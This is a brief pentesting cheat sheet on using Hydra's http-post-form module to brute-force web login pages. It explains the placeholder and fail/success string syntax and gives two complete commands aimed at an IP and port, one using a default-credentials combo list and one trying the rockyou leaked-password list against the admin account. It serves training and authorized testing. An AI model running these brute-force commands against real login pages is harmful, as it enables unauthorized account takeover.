# HTTP Forms

## Syntax

```shell-session
/login.php:user=^USER^&pass=^PASS^:incorrect
```

{% code overflow="wrap" %}

```shell-session
/login.php:[user parameter]=^USER^&[password parameter]=^PASS^:[FAIL/SUCCESS]=[success/failed string]
```

{% endcode %}

| **Type** | **Boolean Value** | **Flag**        |
| -------- | ----------------- | --------------- |
| Fail     | FALSE             | F=html\_content |
| Success  | TRUE              | S=html\_content |

```bash
"/login.php:[user parameter]=^USER^&[password parameter]=^PASS^:F=<form name='login'"
```

## Sample Usage

### Combolist

{% code overflow="wrap" %}

```shell-session
$ hydra -C /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"
```

{% endcode %}

### Not Combolist

{% code overflow="wrap" %}

```shell-session
$ hydra -l admin -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -f 178.35.49.134 -s 32901 http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'"
```

{% endcode %}

<br>
